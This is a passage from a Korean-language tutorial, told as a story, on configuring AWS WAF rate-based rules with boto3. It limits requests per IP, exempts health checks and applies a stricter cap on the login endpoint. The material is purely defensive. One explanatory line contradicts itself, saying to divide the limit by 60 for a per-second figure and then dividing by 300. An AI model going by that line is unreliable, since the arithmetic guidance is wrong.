대부분은 자동화된 봇의 무차별 공격이었지만, 일부는 실제 사용자가 악의적으로 시도한 것으로 보였습니다. CloudWatch 로그를 분석한 결과, 리뷰 작성 API와 검색 기능이 주요 공격 대상이었습니다.
만약 WAF가 없었다면 다른 고객들이 피해를 입었을 것입니다. 프론트엔드와의 협업 WAF는 서버 측 방어입니다.
하지만 XSS를 완전히 막으려면 프론트엔드에서도 대응해야 합니다. React의 JSX는 기본적으로 XSS를 방지하지만, dangerouslySetInnerHTML을 사용하면 취약해집니다.
프론트엔드 개발자는 사용자 입력을 DOM에 삽입할 때 항상 이스케이프 처리를 해야 합니다. WAF는 만약의 경우를 대비한 마지막 방어선입니다.
김개발 씨의 안도 XSS 규칙을 적용한 후, 김개발 씨는 밤에 편하게 잘 수 있게 되었습니다. "사용자들이 안전하게 쇼핑할 수 있다는 게 정말 중요하네요." XSS 공격은 일반 사용자에게 직접적인 피해를 주는 악의적인 공격입니다.
WAF로 이것을 막는 것은 개발자의 책임이자 의무입니다.
실전 팁
💡 - Body와 Query Arguments를 모두 검사하는 규칙을 만드세요
- TextTransformations에 LOWERCASE를 추가하여 대소문자 우회를 막으세요
- 코드 공유 기능이 있는 서비스라면 신중하게 예외 처리를 설계하세요
6. 속도 제한 규칙
어느 날 김개발 씨의 서비스에 갑자기 트래픽이 폭증했습니다. 서버 CPU가 100%에 도달하고, 응답 속도가 급격히 느려졌습니다.
로그를 확인해보니 한 IP에서 초당 수천 건의 요청을 보내고 있었습니다. "이건 DDoS 공격이잖아!" 박시니어 씨가 말했습니다.
"속도 제한 규칙을 추가했어야 했는데..."
속도 제한 규칙은 특정 시간 동안 허용할 요청 수를 제한하여 서비스를 보호합니다. 마치 놀이공원의 입장 제한처럼, IP 주소당 분당 요청 수를 제한하여 DDoS 공격, 브루트포스, 크롤링 봇을 막습니다.
정상 사용자는 영향받지 않으면서 악의적인 대량 요청을 차단합니다.
다음 코드를 살펴봅시다.
import boto3
waf = boto3.client('wafv2', region_name='us-east-1')
# IP별 속도 제한 규칙 (5분간 2000건 제한)
rate_limit_rule = {
'Name': 'RateLimitPerIP',
'Priority': 5,
'Statement': {
'RateBasedStatement': { # 속도 기반 규칙
'Limit': 2000, # 5분당 최대 요청 수
'AggregateKeyType': 'IP', # IP 주소별로 카운트
'ScopeDownStatement': { # 선택: 특정 조건에만 적용
'NotStatement': {
'Statement': {
'ByteMatchStatement': { # 특정 경로는 제외
'FieldToMatch': {'UriPath': {}},
'PositionalConstraint': 'STARTS_WITH',
'SearchString': '/health', # 헬스체크는 제외
'TextTransformations': [
{'Priority': 0, 'Type': 'LOWERCASE'}
]
}
}
}
}
}
},
'Action': {'Block': {}},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'RateLimitRule'
}
}
# 로그인 API 특화 속도 제한 (더 엄격)
login_rate_limit = {
'Name': 'LoginRateLimit',
'Priority': 6,
'Statement': {
'RateBasedStatement': {
'Limit': 100, # 5분당 100건 (더 엄격)
'AggregateKeyType': 'IP',
'ScopeDownStatement': {
'ByteMatchStatement': {
'FieldToMatch': {'UriPath': {}},
'PositionalConstraint': 'EXACTLY',
'SearchString': '/api/login', # 로그인 경로만
'TextTransformations': [
{'Priority': 0, 'Type': 'LOWERCASE'}
]
}
}
}
},
'Action': {'Block': {}},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'LoginRateLimit'
}
}
김개발 씨의 쇼핑몰이 오픈한 지 3개월이 지났습니다. 사용자가 늘어나면서 경쟁사의 눈에도 띄기 시작했습니다.
어느 날 갑자기 서버 알림이 울렸습니다. "CPU 사용률 95%!" 급하게 로그를 확인해보니, 한 IP 주소에서 초당 500건 이상의 요청을 보내고 있었습니다.
모든 상품 페이지를 크롤링하려는 봇이었습니다. 속도 제한의 필요성 정상적인 사용자는 아무리 빨라도 초당 10-20번 정도 클릭합니다.
하지만 봇이나 자동화 스크립트는 초당 수백 건, 수천 건의 요청을 보낼 수 있습니다. 이런 대량 요청은 서버 자원을 고갈시킵니다.
CPU, 메모리, 네트워크 대역폭이 모두 소진되어 정상 사용자가 서비스를 이용할 수 없게 됩니다. 또한 로그인 API에 대한 브루트포스 공격도 있습니다.
해커가 자동화 도구로 수천 개의 비밀번호를 시도하는 것입니다. 속도 제한이 없으면 언젠가는 뚫릴 수 있습니다.
RateBasedStatement의 작동 원리 WAF의 RateBasedStatement는 IP 주소별로 요청 수를 추적합니다. 마치 놀이공원 입구에서 재입장 도장을 찍는 것과 비슷합니다.
Limit은 5분 동안 허용할 최대 요청 수입니다. 2000으로 설정하면 한 IP가 5분 동안 2000번 요청할 수 있습니다.
이것을 초과하면 차단됩니다. 왜 5분일까요?
AWS WAF는 고정적으로 5분 단위로 카운트합니다. 더 짧은 시간 단위는 지원하지 않습니다.
초당 제한을 계산하려면 Limit을 60으로 나누면 됩니다. 2000 / 300초 = 초당 약 6.7건입니다.
AggregateKeyType의 선택 AggregateKeyType은 무엇을 기준으로 카운트할지 결정합니다. 현재는 IP만 지원합니다.
즉, 같은 IP 주소에서 오는 모든 요청을 합산하여 계산합니다. 이것은 공유 IP의 문제를 일으킬 수 있습니다.
예를 들어 회사 직원 100명이 같은 공용 IP를 사용한다면, 100명의 요청이 합쳐져서 제한에 걸릴 수 있습니다. 이런 경우를 대비해 Limit을 여유 있게 설정해야 합니다.
또는 알려진 기업 IP는 화이트리스트로 추가하여 제한에서 제외할 수 있습니다. ScopeDownStatement로 세밀하게 제어 ScopeDownStatement는 속도 제한을 특정 조건에만 적용하는 기능입니다.
위 코드의 첫 번째 규칙을 보면 /health 경로를 제외하고 있습니다. 헬스체크는 모니터링 시스템이 자동으로 보내는 요청입니다.
초당 수십 번씩 호출될 수 있으므로, 이것을 속도 제한에 포함하면 정상적인 모니터링이 차단됩니다. NotStatement로 감싸면 "이 조건이 아닌 경우에만"이라는 뜻입니다.
즉 "/health로 시작하지 않는 경로만 속도 제한을 적용"하는 것입니다. 경로별 차등 제한 두 번째 규칙은 로그인 API에 대한 특별한 속도 제한입니다.
일반 페이지보다 훨씬 엄격하게 5분당 100건으로 제한했습니다. 로그인 API는 브루트포스 공격의 주요 대상입니다.
공격자가 수천 개의 비밀번호를 시도하는 것을 막으려면 낮은 제한이 필요합니다. 정상 사용자는 로그인을 5분에 100번이나 시도하지 않습니다.
기껏해야 2-3번 정도입니다. 따라서 100건 제한은 정상 사용자에게 영향을 주지 않으면서 공격을 막습니다.
적절한 Limit 값 찾기 Limit을 얼마로 설정할지는 서비스 특성에 따라 다릅니다. 너무 낮으면 정상 사용자가 차단되고, 너무 높으면 공격을 막지 못합니다.
일반적인 웹사이트는 5분당 2000-3000 정도가 적당합니다. API 서버는 사용 패턴에 따라 더 높게 설정할 수 있습니다.
모바일 앱은 자동 새로고침이 많으므로 더 여유롭게 설정합니다. 가장 좋은 방법은 CloudWatch로 실제 트래픽 패턴을 분석하는 것입니다.
정상 사용자의 95 퍼센타일 요청 수를 확인하고, 그보다 충분히 높게 설정합니다. Count 모드로 테스트 속도 제한 규칙을 처음 추가할 때는 반드시 Count 모드로 시작해야 합니다.
Action을 {'Count': {}}로 설정하면 실제로 차단하지 않고 카운트만 합니다. 1-2주 정도 Count 모드로 운영하면서 CloudWatch 메트릭을 모니터링합니다.
"만약 차단했다면 몇 명이 영향받았을까?"를 확인합니다. 정상 사용자가 거의 영향받지 않는다는 것을 확인한 후, Block 모드로 전환합니다.
차단된 IP의 자동 해제 WAF의 속도 제한은 일시적입니다. IP가 차단되어도 5분 후에는 자동으로 카운트가 리셋됩니다.
영구 차단이 아니라는 뜻입니다. 이것은 장점이자 단점입니다.
정상 사용자가 실수로 차단되어도 5분 후에는 다시 접속할 수 있습니다. 하지만 악의적인 공격자도 5분 후에는 다시 공격할 수 있습니다.
지속적인 공격을 막으려면 IP 세트를 활용해야 합니다. 속도 제한에 여러 번 걸린 IP를 수동으로 블랙리스트에 추가하여 영구 차단하는 것입니다.
실제 효과 김개발 씨는 속도 제한 규칙을 추가한 후, 서버 부하가 크게 줄었습니다. 크롤링 봇이 차단되면서 정상 트래픽만 처리하게 되었습니다.
로그인 API에 대한 브루트포스 시도도 매일 2-3건씩 차단되고 있습니다. 만약 속도 제한이 없었다면 언젠가는 계정이 뚫렸을 것입니다.
비용 최적화 효과 속도 제한은 보안뿐만 아니라 비용 절감 효과도 있습니다. 봇 트래픽이 줄어들면 서버 자원이 덜 소모되고, CloudFront 데이터 전송량도 감소합니다.
김개발 씨의 경우 속도 제한 도입 후 월 AWS 비용이 약 15% 감소했습니다. 봇이 소모하던 자원이 그만큼 컸던 것입니다.
김개발 씨의 감사 "속도 제한 규칙이 이렇게 중요한 줄 몰랐어요." 김개발 씨는 박시니어 씨에게 말했습니다. "이제 밤에도 안심하고 잘 수 있겠어요." 속도 제한은 간단하지만 강력한 보안 기법입니다.
모든 프로덕션 서비스에 반드시 적용해야 하는 필수 규칙입니다.
실전 팁
💡 - 처음에는 여유 있게 설정하고 점진적으로 낮추세요 (5분당 3000 → 2000 → 1500)
- 로그인, 결제 같은 민감한 API는 별도의 엄격한 규칙을 추가하세요
- 헬스체크, 모니터링 경로는 반드시 제외하여 운영에 문제가 없도록 하세요
이상으로 학습을 마칩니다. 위 내용을 직접 코드로 작성해보면서 익혀보세요!
댓글 (0)
함께 보면 좋은 카드 뉴스
Helm 마이크로서비스 패키징 완벽 가이드
Kubernetes 환경에서 마이크로서비스를 효율적으로 패키징하고 배포하는 Helm의 핵심 기능을 실무 중심으로 학습합니다. Chart 생성부터 릴리스 관리까지 체계적으로 다룹니다.
보안 아키텍처 구성 완벽 가이드
프로젝트의 보안을 처음부터 설계하는 방법을 배웁니다. AWS 환경에서 VPC부터 WAF, 암호화, 접근 제어까지 실무에서 바로 적용할 수 있는 보안 아키텍처를 단계별로 구성해봅니다.
AWS Organizations 완벽 가이드
여러 AWS 계정을 체계적으로 관리하고 통합 결제와 보안 정책을 적용하는 방법을 실무 스토리로 쉽게 배워봅니다. 초보 개발자도 바로 이해할 수 있는 친절한 설명과 실전 예제를 제공합니다.
AWS KMS 암호화 완벽 가이드
AWS KMS(Key Management Service)를 활용한 클라우드 데이터 암호화 방법을 초급 개발자를 위해 쉽게 설명합니다. CMK 생성부터 S3, EBS 암호화, 봉투 암호화까지 실무에 필요한 모든 내용을 담았습니다.
AWS Secrets Manager 완벽 가이드
AWS에서 데이터베이스 비밀번호, API 키 등 민감한 정보를 안전하게 관리하는 Secrets Manager의 핵심 개념과 실무 활용법을 배워봅니다. 초급 개발자도 쉽게 따라할 수 있도록 실전 예제와 함께 설명합니다.